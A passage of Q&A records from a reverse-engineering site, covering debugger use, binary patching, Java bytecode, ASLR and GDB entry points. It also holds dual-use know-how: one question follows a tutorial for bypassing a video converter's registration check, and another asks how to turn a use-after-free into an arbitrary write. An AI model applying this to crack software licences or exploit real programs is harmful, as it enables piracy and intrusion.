        "Body": "<p>I am following <a href=\"http://securityxploded.com/reverse-engineering-video-converter.php\" rel=\"nofollow noreferrer\">this</a> tutorial on reverse engineering. In the step where I \"search for all referenced strings\" I get a window as follows:</p>\n\n<p><img src=\"https://i.stack.imgur.com/fdlgI.png\" alt=\"enter image description here\"></p>\n\n<p>When compared to the image on the tutorial for the step, I found that the column headings of my window are : <strong>Address Command Comments</strong> where as according to the tutorial it is supposed to be: <strong>Address Disassembly Text String</strong> (It is not seen on the tutorial but I dig the internet before making this post).</p>\n\n<p>I am using Windows 8.1. I have run Ollydbg as administrator with compatibility mode for Windows 7 and Windows XP SP3, used Ollydbg 1.10 and 2.0 but I get same results. The module loaded is also the correct (not the ntdll). The exe version is a different one but I installed it and the overall functionality of the new version is still the same - gives out the exactly same error message for invalid registration.</p>\n\n<p>What am I doing wrong/missing here?? What might be the reason of this and how can I overcome it?</p>\n",
        "Title": "Ollydbg does not find all referenced strings while Reverse Engineering AoneVideo2AudioConverter",
        "Tags": "|disassembly|ollydbg|executable|patch-reversing|",
        "Answer": "<p><strong>possibilities:</strong></p>\n\n<ol>\n<li>Maybe the protection has been changed as @Guntram Blohm said.</li>\n<li>Have you checked your OllyDBG version. I guess this problem might have been occurred because your version doesn't support OS architecture or to be more specific, it doesn't have the proper plugins.</li>\n</ol>\n\n<p><strong>Suggestions:</strong></p>\n\n<ul>\n<li>Try to use \"R4ndoms_OllyDBG\" mod of OllyDBG... it's compatible with Win 7/8 x86/x64.</li>\n<li>Don't go after strings, try to go after the api (that you think it's being implemented), or you can look in the stack.</li>\n<li>Use another debugger like x64dbg or IDA Pro.</li>\n</ul>\n"
    },
    {
        "Id": "8670",
        "CreationDate": "2015-04-09T15:20:41.963",
        "Body": "<p>I'm sorry for my bad English. I'm a beginner in Reverse Engineering. I have a problem like this. I was given two files, one is driver's .inf file and the other is driver's .sys file. My mission is to debug this driver and understand its functionality(driver doesn't have physical device). I use 2 machines, one is the host machine which is actually my real computer and a XP virtual machine(VMware). I also use VirtualKD and Windbg. I want to set breakpoint at its DriverEntry.</p>\n\n<p>When I installed driver, I noticed that it ran automatically right after being installed. So I can't set breakpoint at DriverEntry. I restarted virtual machine and set breakpoint in Windbg with all the following commands:\n<br>bu Driver!DriverEntry (Driver is driver's ClassName, I saw it in .inf file)\n<br>bu Drv!DriverEntry (Drv is its service name when installed)\n<br>bu drv!DriverEntry (drv is sys file name, drv.sys)\n<br>But Windbg didn't catch any breakpoints. I saw Windbg printed out some infos, I don't know whether it made breakpoints could not catch:</p>\n\n<blockquote>\n  <blockquote>\n    <hr>\n    \n    <p>*\n    * A driver is mapping physical memory 0064F000->006D0FFF\n    * that it does not own.  This can cause internal CPU corruption.\n    * A checked build will stop in the kernel debugger\n    * so this problem can be fully debugged.\n    *</p>\n    \n    <hr>\n  </blockquote>\n  \n  <p>ERROR: DavReadRegistryValues/RegQueryValueExW(4). WStatus = 5\n  ERROR: DavReadRegistryValues/RegQueryValueExW(5). WStatus = 5\n  ERROR: DavReadRegistryValues/RegQueryValueExW(6). WStatus = 5\n  CodeSet_Init: no ICU\n  watchdog!WdUpdateRecoveryState: Recovery enabled.</p>\n</blockquote>\n\n<p><br>My second thought was I rolled back my virtual machine and set breakpoints before installing driver. But Windbg said that it could not resolve those breakpoints. And of course it cannot hit any of them.\n<br><br> I really don't know how to set this driver's entry. Please help me. Thank you.\n<br><br>P/S: probably this driver can communicate with other app through pipe. How can I debug it without infecting its communication?</p>\n",
        "Title": "Kernel debugging - how to set breakpoint at DriverEntry?",
        "Tags": "|debugging|windbg|kernel-mode|virtual-machines|driver|",
        "Answer": "<p>patch the Address of Entry Point with a <code>(0xcc aka int 3)</code> and load the driver AddrOfEntryPoint  normally points to either DriverEntry or GsDriverEntry  </p>\n\n<p>when broken you need to replace 0xcc by original byte and reset eip back by a byte</p>\n\n<pre><code>use eb &lt;address&gt; originalbyte enter \nr eip = &lt;addresss&gt;\n</code></pre>\n\n<p>here is the entry point of beep.sys which points to Beep!driverEntry</p>\n\n<pre><code>lkd&gt; lm m beep\nstart    end        module name\nf7b0e000 f7b0f080   Beep       (pdb symbols)          f:\\symbols\\beep.pdb\\65DC45B439164E4C9DEFF20E161DC74C1\\beep.pdb\nlkd&gt; ? by(beep+3c) \nEvaluate expression: 208 = 000000d0\nlkd&gt; ? dwo(beep+dwo(beep+3c)+28)\nEvaluate expression: 1644 = 0000066c\nlkd&gt; .printf \"%y\\n\" , beep+66c\nBeep!DriverEntry (f7b0e66c)\nlkd&gt;\n</code></pre>\n"
    },
    {
        "Id": "8674",
        "CreationDate": "2015-04-09T20:55:46.900",
        "Body": "<p>I have been looking around for ways to make plugins in Ollydbg 2 and I haven't seen a good amount of information;I keep finding guides for Immunity Dbg or how to make plugins work.</p>\n\n<p>I don't mind learning to make plugins but, there seems to be a very limited amount of information on the net for Ollydbg. Does anyone know where I can find some information on how to make plugins for Ollydbg?</p>\n",
        "Title": "Making plugins for Ollydbg 2",
        "Tags": "|ollydbg|automation|plugin|",
        "Answer": "<p>complete src code and build instruction is available in this post for a sample plugin </p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/8290/ollydbg-2-01-run-trace-skip-selection-option/8292#8292\">OllyDbg 2.01 Run Trace &quot;Skip selection option&quot;</a></p>\n"
    },
    {
        "Id": "8678",
        "CreationDate": "2015-04-11T00:26:52.727",
        "Body": "<p>Platform: Windows 7 64bit, target 32bit.</p>\n\n<p>I have had an idea of using data mining techniques (maybe even some primitive machine learning) on EIP data, so as to be able to correlate with something later. Just the EIP because everything else needed could later be pulled from the target process anyway as leisure (aside from stack or dynamic memory).</p>\n\n<p>I plan to use PCA or perhaps even a SOM for clustering.</p>\n\n<p>So the actual question: Is there a way to attach to a process in such a way as to be able to continuously dump EIP to file while at the same time having the least possible effect on target's performance?</p>\n\n<p>Thank you. </p>\n",
        "Title": "How do you efficiently record EIP of a target continuously?",
        "Tags": "|debugging|",
        "Answer": "<p>To add to the above from @Neitsa, there is a great post by Axel \"0vercl0k\" Souchet:</p>\n\n<p><a href=\"http://doar-e.github.io/blog/2013/08/31/some-thoughts-about-code-coverage-measurement-with-pin/\" rel=\"nofollow\">Some Thoughts About Code-coverage Measurement With Pin</a></p>\n\n<p>about using PIN for basic blocks logging with all the way explained from idea to the development POC based on PIN framework. </p>\n\n<p>You can definitely use the provided code there and adjust it to log all the instructions for your needs. Probably even the basic blocks logging could serve your needs in the begging.</p>\n"
    },
    {
        "Id": "8680",
        "CreationDate": "2015-04-11T02:34:39.343",
        "Body": "<p>I've been reverse engineering the Yikyak application, and I came across this function</p>\n\n<p>One particular function is used in order to verify the integrity of the API call. The decompiler failed to figure out what was going on with the bytecode (provided below), so I wrote in what I thought was the byte code equivalent (this is my first time working with Java bytecode, my apologies for any errors).</p>\n\n<p>One of the things I was stuck on is figuring out how to determine the value referred to in the constant pool. </p>\n\n<pre><code>/* Error */\n/* public static String a(String paramString, byte[] paramArrayOfByte)\n* Generates a hash to verify the integrity of the API call based on the time (param1 as String) and YikYak.uniqueMD5Hash.getBytes()\n*/\npublic static String hashApiCall(String paramString, byte[] paramArrayOfByte)\n{\n    // Possible values for hash algo: HmacMD5, HmacSHA1, HmacSHA256, HmacSHA384, HmacSHA512\n    SecretKeySpec localSecretKeySpec = new SecretKeySpec(paramArrayOfByte, (String hash algo)ldc 179);\n    Mac localMac = Mac.getInstance((String hash aglo)ldc 179);\n    localMac.init(localSecretKeySpec);\n    localMac.doFinal(byte[] ?);\n    String str2 = Base64.encodeToString(?);\n    String str3 = str2.trim();\n    return str3;\n\n    // Byte code:\n    //   0: new 177 javax/crypto/spec/SecretKeySpec\n    //   3: dup\n    //   4: aload_1\n    //   5: ldc 179\n    //   7: invokespecial 182   javax/crypto/spec/SecretKeySpec:&lt;init&gt;  ([BLjava/lang/String;)V\n    //   10: astore_2\n    //   11: ldc 179\n    //   13: invokestatic 188   javax/crypto/Mac:getInstance    (Ljava/lang/String;)Ljavax/crypto/Mac;\n    //   16: astore 8\n    //   18: aload 8\n    //   20: aload_2\n    //   21: invokevirtual 192  javax/crypto/Mac:init   (Ljava/security/Key;)V\n    //   24: aload 8\n    //   26: aload_0\n    //   27: invokevirtual 136  java/lang/String:getBytes   ()[B\n    //   30: invokevirtual 196  javax/crypto/Mac:doFinal    ([B)[B\n    //   33: iconst_0\n    //   34: invokestatic 202   android/util/Base64:encodeToString  ([BI)Ljava/lang/String;\n    //   37: astore 9\n    //   39: aload 9\n    //   41: invokevirtual 205  java/lang/String:trim   ()Ljava/lang/String;\n    //   44: astore 12\n    //   46: aload 12\n    //   48: astore 4\n    //   50: aload 4\n    //   52: areturn\n    //   53: astore 6\n    //   55: aconst_null\n    //   56: astore 4\n    //   58: aload 6\n    //   60: astore 7\n    //   62: aload 7\n    //   64: invokevirtual 208  java/security/NoSuchAlgorithmException:printStackTrace  ()V\n    //   67: goto -17 -&gt; 50\n    //   70: astore_3\n    //   71: aconst_null\n    //   72: astore 4\n    //   74: aload_3\n    //   75: astore 5\n    //   77: aload 5\n    //   79: invokevirtual 209  java/security/InvalidKeyException:printStackTrace   ()V\n    //   82: goto -32 -&gt; 50\n    //   85: astore 11\n    //   87: aload 9\n    //   89: astore 4\n    //   91: aload 11\n    //   93: astore 5\n    //   95: goto -18 -&gt; 77\n    //   98: astore 10\n    //   100: aload 9\n    //   102: astore 4\n    //   104: aload 10\n    //   106: astore 7\n    //   108: goto -46 -&gt; 62\n    // Local variable table:\n    //   start  length  slot    name    signature\n    //   0  111 0   paramString String\n    //   0  111 1   paramArrayOfByte    byte[]\n    //   10 11  2   localSecretKeySpec  javax.crypto.spec.SecretKeySpec\n    //   70 5   3   localInvalidKeyException1   java.security.InvalidKeyException\n    //   48 55  4   str1    String\n    //   75 19  5   localObject1    Object\n    //   53 6   6   localNoSuchAlgorithmException1  java.security.NoSuchAlgorithmException\n    //   60 47  7   localObject2    Object\n    //   16 9   8   localMac    javax.crypto.Mac\n    //   37 64  9   str2    String\n    //   98 7   10  localNoSuchAlgorithmException2  java.security.NoSuchAlgorithmException\n    //   85 7   11  localInvalidKeyException2   java.security.InvalidKeyException\n    //   44 3   12  str3    String\n    // Exception table:\n    //   from   to  target  type\n    //   11 39  53  java/security/NoSuchAlgorithmException\n    //   11 39  70  java/security/InvalidKeyException\n    //   39 46  85  java/security/InvalidKeyException\n    //   39 46  98  java/security/NoSuchAlgorithmException\n}\n</code></pre>\n\n<p>Is there a way to determine what values are in the constant pool (specifically, 179) in order to determine the hashing algorithm that's being used?</p>\n\n<p>Thanks in advance!</p>\n",
        "Title": "Correct reassembly of Java bytecode",
        "Tags": "|java|byte-code|",
        "Answer": "<p>First off, have you tried using a better decompiler? I'd recommend <a href=\"https://github.com/Storyyeller/Krakatau\" rel=\"nofollow\">Krakatau</a>, since it's specifically designed for handling obfuscated applications (disclosure: I wrote it). Apart from Krakatau, the best decompiler I know of is <a href=\"https://bitbucket.org/mstrobel/procyon/wiki/Java%20Decompiler\" rel=\"nofollow\">Procyon</a>.</p>\n\n<p>Second, you can see the constant pool by passing the right option to the disassembler. If you're using the Krakatau disassembler, you'd just pass -cpool. You can also use javap in which case you'd pass -v. However, javap is not designed for reverse engineering and has numerous issues, so you're better off with Krakatau for serious disassembly.</p>\n"
    },
    {
        "Id": "8699",
        "CreationDate": "2015-04-14T01:06:15.833",
        "Body": "<p>For experimentation, while waiting for vendor to fix bug, wanted to try and eliminate a crash that occurs on occasion. Up till now I've only done patching replacing existing code, not trying to insert additional code.</p>\n\n<p>Original</p>\n\n<pre><code>.text:000000018000A260                 cmp     [rax], r12d &lt;- RAX=0, crashes program\n.text:000000018000A263                 jz      short loc_18000A271\n.text:000000018000A265                 cmp     dword ptr [rax], 6\n.text:000000018000A268                 jnz     short loc_18000A276\n.text:000000018000A26A                 cmp     ecx, 40h\n</code></pre>\n\n<p>And further on:</p>\n\n<pre><code>.text:000000018000A21B                 mov     rcx, [rsp+388h+var_350]\n.text:000000018000A220                 call    cs:WindowsDeleteString\n.text:000000018000A226                 mov     [rsp+388h+var_350], r15\n.text:000000018000A22B                 mov     rbx, [rsp+388h+var_348]\n</code></pre>\n\n<p>I want to insert some new instruction, changing to jmp to patched code</p>\n\n<pre><code>.text:000000018000A260                 jmp     &lt;patched code&gt;\n</code></pre>\n\n<p>Patched Code Idea - I can't find much suitable place to insert code - so was thinking of shortening some non-essential strings in .rdata section to insert this code - Is there any issue with this? Essentially what I am trying to do is if RAX = 0 , skip over the use of [rax]</p>\n\n<pre><code>cmp rax,0\njz .text:000000018000A21B ; The code point past using [rax]\ncmp [rax], r12d\njmp .text:000000018000A263 ; Continue program execution normally\n</code></pre>\n\n<p>Now it seems IDA \"Assemble\" doesn't always work, for example cmp rax,0 it says \"Invalid Operand\" So I had to patch bytes instead</p>\n\n<pre><code>48 83 F8 00 = cmp rax,0\n</code></pre>\n\n<p>Is there a way to get the \"assemble\" in IDA to reference my jump locations, using the location references in IDA. Or is there a suggested method to calculate how to build my jmp/jz instructions.</p>\n",
        "Title": "Patching jmp instructions on amd64 with IDA",
        "Tags": "|ida|assembly|",
        "Answer": "<blockquote>\n  <p>Patched Code Idea - I can't find much suitable place to insert code -\n  so was thinking of shortening some non-essential strings in .rdata\n  section to insert this code - Is there any issue with this?</p>\n</blockquote>\n\n<p>You should not use the .rdata section as it's usually not not marked for execution of code. If you ignore this you will trigger DEP and changing the segment to allow code executions is obviously not recommended as well.</p>\n\n<p>I would suggest to add a segment, extend the current segment or find some empty space in the current segment (maybe there's align bytes at the end). </p>\n\n<blockquote>\n  <p>Is there a way to get the \"assemble\" in IDA to reference my jump\n  locations, using the location references in IDA. Or is there a\n  suggested method to calculate how to build my jmp/jz instructions.</p>\n</blockquote>\n\n<p>You can just take the difference between the two virtual addresses and use a relative jump (0xE9). </p>\n\n<blockquote>\n  <p>Now it seems IDA \"Assemble\" doesn't always work, for example cmp rax,0\n  it says \"Invalid Operand\"</p>\n</blockquote>\n\n<p>This feature is not supported for AMD64 according to Hex Rays:</p>\n\n<blockquote>\n  <p>The assembler command is supported for only a few processors, only a\n  few instructions. We do not plan to extend this feature, sorry</p>\n</blockquote>\n"
    },
    {
        "Id": "8700",
        "CreationDate": "2015-04-14T09:56:51.837",
        "Body": "<p>As you know, OllyDbg provides labelling. When I see referenced address which assembly code has, I would get information(Label name) if referenced address is labeled.\nBut If labeled address would be referenced indirectly(e.g. mov eax, dword ptr[eax]) or labelled address is stack, OllyDbg cannot show label to reverser. (also, Status bar which is below CPU cannot show label too)\nIs there other way to view label in OllyDbg? It's too hard to analyze obfuscated code because of this poooor behavior</p>\n",
        "Title": "OllyDbg Labelling",
        "Tags": "|ollydbg|",
        "Answer": "<p>Did you try OllyDBG 2.01 ? It correctly shows the label in the status bar below the CPU for me. </p>\n\n<p><img src=\"https://i.stack.imgur.com/4FRt1.png\" alt=\"CPU status bar with a label\"></p>\n"
    },
    {
        "Id": "8701",
        "CreationDate": "2015-04-14T17:57:28.980",
        "Body": "<p>I'm analyzing a use-after-free bug in IDA Pro by hand. Basically, I control the content of an object (pointed by a register) and I want to force a write at an arbitrary address. For instance, I might find a <code>mov [ebx], eax</code>, where I can control both <code>eax</code> and <code>ebx</code>.</p>\n\n<p>Is there a way to automate this task at least in part?</p>\n\n<p>Here's a simple example. Let's say we control the data pointed by <code>ecx</code> and we have this code:</p>\n\n<pre><code>  mov eax, [ecx]\n  test dword ptr [ecx+8], 8\n  jz skip\n  mov ebx, [ecx+4]\n  mov [eax], ebx    &lt;---- arbitrary write\nskip:\n</code></pre>\n\n<p>As you can see, by choosing the values at [ecx], [ecx+4] and [ecx+8] carefully, we can perform an arbitrary write. In reality, the code is much more complex, so it's hard to keep track of what we control and find a suitable instruction.</p>\n",
        "Title": "Analyzing a use-after-free bug (taint analysis?)",
        "Tags": "|ida|vulnerability-analysis|",
        "Answer": "<p>I would agree with you in that you need to implement some kind of taint tracing, what is tricky statically. Moreover, you need to know whether there are any constraints applied to your controlled values. Also, we land in the symbolic execution domain (warning, there be dragons).</p>\n\n<p>Anyway, maybe <a href=\"https://github.com/cea-sec/miasm#user-content-symbolic-execution\">this project</a> can be helpful to you. It even has <a href=\"https://github.com/cea-sec/miasm/tree/master/example/ida\">IDA Pro integration</a> in the latest version.</p>\n\n<p>Good luck!</p>\n"
    },
    {
        "Id": "8704",
        "CreationDate": "2015-04-15T08:04:10.690",
        "Body": "<p>I've been given an ELF binary file which self describes as PowerPC 64-bit. The <code>e_entry</code> field of the ELF header points to the beginning of a section called <code>.opd</code>. According to this <a href=\"http://refspecs.linuxfoundation.org/ELF/ppc64/PPC-elf64abi-1.9.html#ELF-HEAD\" rel=\"nofollow\">specification</a>, it is supposed to point to a function descriptor. The same <a href=\"http://refspecs.linuxfoundation.org/ELF/ppc64/PPC-elf64abi-1.9.html#FUNC-DES\" rel=\"nofollow\">specification</a> states that a function descriptor consists of three doublewords (64-bit words). </p>\n\n<p>However, the binary in question (available <a href=\"https://sourceforge.net/p/decompiler/feature-requests/11/attachment/21sample.elf\" rel=\"nofollow\">here</a>) appears to have only two 32-bit words for each function descriptor. </p>\n\n<p>So the question is, why are there 32-bit pointers in this 64-bit binary? </p>\n",
        "Title": "Can PowerPC64 ELF file have 32-bit pointers?",
        "Tags": "|elf|powerpc|",
        "Answer": "<p>PS3 (cell) ABI used 64-bit registers but 32-bit pointers. Maybe this sample is from there.</p>\n\n<p>P.S. section names <code>.sceStub.text</code> and <code>.rodata.sceResident</code> definitely point to Sony code (SCE= Sony Computer Entertainment)</p>\n"
    },
    {
        "Id": "8708",
        "CreationDate": "2015-04-16T12:46:55.040",
        "Body": "<p>I am reversing a few modules which share many c++ classes.  I am currently maintaining a single header file which contains every struct definition from each database.  I update this using a produced header file after working on a module.  I then import it when I begin working on a separate module.  This approach is error prone, and I have lost some progress by mistakenly overwriting modified structs in different databases.</p>\n\n<p>Is it possible to configure IDA Pro to read and write to a single struct definition file across multiple databases?    If not, what would be a best practice for this type of situation?</p>\n",
        "Title": "How can I sync structs across multiple IDA databases?",
        "Tags": "|ida|",
        "Answer": "<p>you can try extending <a href=\"http://www.openrce.org/downloads/details/227/Structure_Dump\" rel=\"nofollow\">this plugin</a> which already implements the export and import part of the functionality.</p>\n"
    },
    {
        "Id": "8714",
        "CreationDate": "2015-04-17T02:33:33.893",
        "Body": "<p>I have read that dynamic instrumentation can be done using tools like PIN or Valgrind. However Valgrind provides intermediate representation and converts the binary into SSA which makes it more convenient to perform binary analysis. Could anyone please explain why using an SSA form is more convenient. Why is it difficult to perform dynamic analysis using PIN without an Intermediate representation?</p>\n\n<p>Thank you</p>\n",
        "Title": "Use of SSA (Single Static Assignment) while dynamic analysis",
        "Tags": "|dynamic-analysis|",
        "Answer": "<p>Answering this questions will require a lot more space than what is provided. I rather point you to the best references you can find in order to deeply understand the requirement for <code>SSA</code>.</p>\n\n<p>First, start with <a href=\"http://en.wikipedia.org/wiki/Static_single_assignment_form\">Wikipedia</a> so that you get familiarized with the basic structure and building blocks of <code>SSA</code> (Phi functions, ...). Then, move to <a href=\"http://grothoff.org/christian/teaching/2007/3353/papers/ssa.pdf\">this</a> reference article published in 1991, which is a bit more hairy than the Wikipedia article. </p>\n\n<p>If you want a more detailed document, though incomplete, read <a href=\"http://ssabook.gforge.inria.fr/latest/book.pdf\">this</a> book.<br>\nIt covers a wide range of algorithms for construction/destruction and also analysis.</p>\n\n<p>If you wish a long/detailed answer, let me know so that I can write a proper one.</p>\n"
    },
    {
        "Id": "8718",
        "CreationDate": "2015-04-17T22:52:16.027",
        "Body": "<p>I am reversing several modules which are dynamically and statically linked into an executable.  I have started learning active analysis by attaching one of my database files to the win32 exe using the local win32 debugger (default settings).  </p>\n\n<p>Relocating my idb's annotations to map correctly to the exe seems to be taking longer than it should.   I am currently doing static analysis by comparing one idb against a memory snapshot because the relocation time does not seem to be worth the wait.  This creates, what I think may be, unnecessary work because I have to manually copy the annotations from the single module idb to the snapshot idb.</p>\n\n<p>I want to find out if I can change how I use IDA to speed up relocation.  I have no notion of how long this should take given the database's and exe's size.  </p>\n\n<pre><code>idb:  ~133 Mb\nexe:  ~650 Mb     Size taken from task manager\nrelocation time:  ~15+ minutes\n</code></pre>\n\n<p>This is very open ended.  I guess I'm looking for debugger settings, hidden annotation performance hits, etc.  If this is normal I will try to adjust my debugging practice to get the most out of a session.</p>\n",
        "Title": "How should I approach debugging a PE which create a large database?",
        "Tags": "|ida|debugging|dynamic-analysis|",
        "Answer": "<p>If the problem is the time it takes for IDA to rebase the IDB when debugging, then some possible solutions:</p>\n\n<ol>\n<li><p>Disable ASLR from module, so it keeps loading at the same base address (same base address from the IDB)</p>\n\n<ul>\n<li>Pros: Works well for main executable</li>\n<li>Cons: might be a problem for DLLs (see 3.); alter file.</li>\n</ul></li>\n</ol>\n\n<p>How to: Remove <code>IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE</code> (0x40) from <code>IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics</code>.</p>\n\n<ol start=\"2\">\n<li><p>[<strong>Dangerous</strong>] Disable ASLR system wide (would be possible in a spare VM).</p>\n\n<ul>\n<li>Pros: same as 1.</li>\n<li>Cons: Same as 1. ; Lower whole system protection</li>\n</ul></li>\n</ol>\n\n<p>How to: change <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management\\MoveImages</code></p>\n\n<ol start=\"3\">\n<li><p>Rebase all DLLs so they don't collide (apply this with 1.)</p>\n\n<ul>\n<li>Pros: all DLLs will have different address base</li>\n<li>cons: alter files.</li>\n</ul></li>\n</ol>\n\n<p>How-to: </p>\n\n<ul>\n<li><code>Rebase</code> tool (rebase.exe; deprecated by editbin.exe)</li>\n<li><a href=\"https://msdn.microsoft.com/en-us/library/xd3shwhf.aspx\" rel=\"noreferrer\">editbin.exe</a> with <code>/REBASE</code> option</li>\n<li><a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa363364%28v=vs.85%29.aspx\" rel=\"noreferrer\">ReBase API</a> </li>\n</ul>\n\n<p>Simply use different base addresses for all the DLLs (do not apply this on system DLLs).</p>\n\n<ol start=\"4\">\n<li>Use external debugger and synchronize IDB with it.</li>\n</ol>\n\n<p>How-to:</p>\n\n<ul>\n<li><p>use <a href=\"https://github.com/quarkslab/qb-sync\" rel=\"noreferrer\">QB-sync</a>: it allows you to debug a binary from a debugger (windbg, ollydbg, gdb, etc.) and synchronize the database with the debugger <strong>without</strong> rebasing the IDB.</p></li>\n<li><p>Pros: works well, lots of things can be done from debugger</p></li>\n<li>Cons: Needs to be confident with an external debugger</li>\n</ul>\n"
    },
    {
        "Id": "8724",
        "CreationDate": "2015-04-18T20:04:56.420",
        "Body": "<p>Given a position-independent, statically-linked, stripped binary, there does not appear to be a way in GDB to set a breakpoint at the entry point without disabling ASLR.</p>\n\n<ul>\n<li><code>break start</code> and similar functions do not work, because there is no symbolic information</li>\n<li><code>set stop-on-solib-events 1</code> does not work as the binary is not dynamically linked</li>\n<li><code>break *0xdeadbeef</code> for the entry point does not work, as the entry point is unresolved until the binary starts</li>\n<li><code>catch load</code> does not work, as it does not load any libraries</li>\n<li><code>start</code> does not work, as <code>main</code> is not defined and no libraries are loaded</li>\n</ul>\n\n<p>Without patching the binary, what mechanism can I use to break at the first instruction executed?</p>\n\n<h2>Possible?</h2>\n\n<p>Since a now-deleted response to the question said that a PIE statically-linked binary is impossible, a trivial example is the linker itself.</p>\n\n<p>It is statically linked.</p>\n\n<pre><code>$ ldd /lib/x86_64-linux-gnu/ld-2.19.so\n    statically linked\n</code></pre>\n\n<p>It is executable.</p>\n\n<pre><code>$ strace /lib/x86_64-linux-gnu/ld-2.19.so\nexecve(\"/lib/x86_64-linux-gnu/ld-2.19.so\", [\"/lib/x86_64-linux-gnu/ld-2.19.so\"], [/* 96 vars */]) = 0\nbrk(0)                                  = 0x7ff787b3d000\nwritev(2, [{\"Usage: ld.so [OPTION]... EXECUTA\"..., 1373}], 1Usage: ld.so [OPTION]... EXECUTABLE-FILE [ARGS-FOR-PROGRAM...]\n</code></pre>\n\n<p>It is position-independent.</p>\n\n<pre><code>$ readelf -h /lib/x86_64-linux-gnu/ld-2.19.so | grep DYN\n  Type:                              DYN (Shared object file)\n</code></pre>\n\n<h2>Solutions</h2>\n\n<p>It looks like this can be done with Python by utilizing some of the events made available: <a href=\"http://asciinema.org/a/19078\" rel=\"noreferrer\">http://asciinema.org/a/19078</a></p>\n\n<p>However, I'd like a native-GDB solution.</p>\n\n<p>A successful solution will break at <code>_start</code> in ld.so when executed directly without disabling ASLR.  It should look something like this:</p>\n\n<pre><code>sh $ strip -s /lib/x86_64-linux-gnu/ld-2.19.so -o ld.so\nsh $ gdb ./ld.so\n(gdb) $ set disable-randomization off\n(gdb) $ &lt;your magic commands&gt;\n(gdb) $ x/i $pc\n=&gt; 0x7f9ba515d2d0:     mov    rdi,rsp\n(gdb) $ info proc map\nprocess 10432\nMapped address spaces:\n\n        Start Addr           End Addr       Size     Offset objfile\n    0x7f9ba515c000     0x7f9ba517f000    0x23000        0x0 /lib/x86_64-linux-gnu/ld-2.19.so \n    0x7f9ba537e000     0x7f9ba5380000     0x2000    0x22000 /lib/x86_64- linux-gnu/ld-2.19.so\n    0x7f9ba5380000     0x7f9ba5381000     0x1000        0x0 \n    0x7fffc34c7000     0x7fffc38ca000   0x403000        0x0 [stack]\n    0x7fffc398b000     0x7fffc398d000     0x2000        0x0 [vdso]\n0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]\n</code></pre>\n",
        "Title": "Set a breakpoint on GDB entry point for stripped PIE binaries without disabling ASLR",
        "Tags": "|debugging|gdb|elf|",
        "Answer": "<p>Just stumbled across this and thought I would add a bit.</p>\n<p>If you want to stop at the entry point of a stripped, dynamically-linked program, I recommend the following procedure.</p>\n<ol>\n<li>Start GDB with the file.</li>\n<li>Start the program with <code>starti</code> so that the loader maps it into memory.\n(By default GDB turns off ASLR for your program, but this method will work either way.)</li>\n<li>Use <code>info file</code> to get the address of the entry point.  This will show virtual addresses <em>after start</em> (that's why we used <code>starti</code> first).</li>\n<li>Find the entry point and set a breakpoint at that address.</li>\n<li>Run <code>cont</code> to get to the breakpoint.</li>\n</ol>\n<pre><code>$ gdb /usr/bin/ls\n(gdb) starti\n(gdb) info file\n...\nLocal exec file:\n    `/usr/bin/ls', file type elf64-x86-64.\n    Entry point: 0x55555555a7d0\n...\n(gdb) b *0x55555555a7d0\n(gdb) cont\n...\nBreakpoint 1, 0x000055555555a7d0 in ?? ()\n(gdb) x/i $rip\n=&gt; 0x55555555a7d0:  endbr64 \n</code></pre>\n<p>Now, if you want <code>main</code> on Linux, step ahead through the disassembly until you find out how <code>rdi</code> is being set (assuming the usual <code>crt0.o</code> has been linked to start the C runtime).</p>\n<pre><code>(gdb) \n   0x55555555a7f1:  lea    rdi,[rip+0xffffffffffffe5f8]        # 0x555555558df0\n</code></pre>\n<p>Ah ha!  We can find <code>main</code> (even without any symbols) at 0x555555558df0.</p>\n<pre><code>(gdb) b *0x555555558df0\n(gdb) cont\n</code></pre>\n<p>Now you are at <code>main</code>.\nLeaving this here in case someone else comes along with the same question.</p>\n"
    },
    {
        "Id": "8726",
        "CreationDate": "2015-04-19T01:56:06.670",
        "Body": "<p>There's a closed source binary that I'm analyzing, and there's a call to <code>VirtualProtect</code> that fails.</p>\n\n<p>However, <code>VirtualProtect</code> stores the error code somewhere accesible only via <code>GetLastError</code>, and the binary doesn't even import that function.</p>\n\n<p>Can I somehow get the error code without hooking?</p>\n",
        "Title": "Can I get the last error using IDA under Windows?",
        "Tags": "|ida|",
        "Answer": "<p><a href=\"https://msdn.microsoft.com/en-in/library/windows/desktop/ms679360(v=vs.85).aspx\"><code>GetLastError</code></a> simply returns <code>LastErrorValue</code> from the <a href=\"http://undocumented.ntinternals.net/source/usermode/undocumented%20functions/nt%20objects/thread/teb.html\"><code>TEB</code></a> (<code>Thread Environment Block</code>) of the thread concerned.</p>\n\n<p>You can access <code>TEB</code> of the current thread through the segment register <code>FS</code>.</p>\n\n<p><code>FS:[0x18]</code> contains the pointer to <code>TEB</code>.</p>\n"
    },
    {
        "Id": "8732",
        "CreationDate": "2015-04-20T03:46:42.333",
        "Body": "<p>Is there a way to set breakpoints on all references in one click like we do in OllyDBG \"Set breakpoint on every reference\" ?</p>\n\n<p>E.g: after locating CreateFileA API and pressing \"x\" to see all references, we can see where all calls for this function are ... but is there a way to set bps on all calls in one click ?</p>\n",
        "Title": "Set breakpoints on all references in IDA",
        "Tags": "|ida|idapython|",
        "Answer": "<p>I don't know about existence of such an ability in IDA, but you can do it with IDAPython as follows:</p>\n\n<pre><code>#I didn't check this code, use carefully, beware of errors\n\nimport idc\nimport idaapi\nimport idautils\n\ndef set_breakpoints_on_calls(ea):\n    print \"Setting breakpoints on \", hex(ea)\n    for ref in idautils.CodeRefsTo(ea, 0):\n        print \"Adding bpt on \", hex(ref)\n        idc.AddBpt(ref)\n\ndef set_breakpoints_on_screen_ea():\n    print \"Started\"\n    set_breakpoints_on_calls(idc.ScreenEA())\n\nidaapi.add_hotkey(\"Alt-Z\", set_breakpoints_on_screen_ea)\n</code></pre>\n\n<p>By running this code from execute script window you are adding hotkey Alt-Z\nwhich sets breakpoints to all calls to the address where cursor is located.\nYou can add this code to <code>idapythonrc.py</code> file in IDA root folder to make this shortcut persistent (you'll need to rerun IDA after it).</p>\n"
    },
    {
        "Id": "8738",
        "CreationDate": "2015-04-21T14:21:44.363",
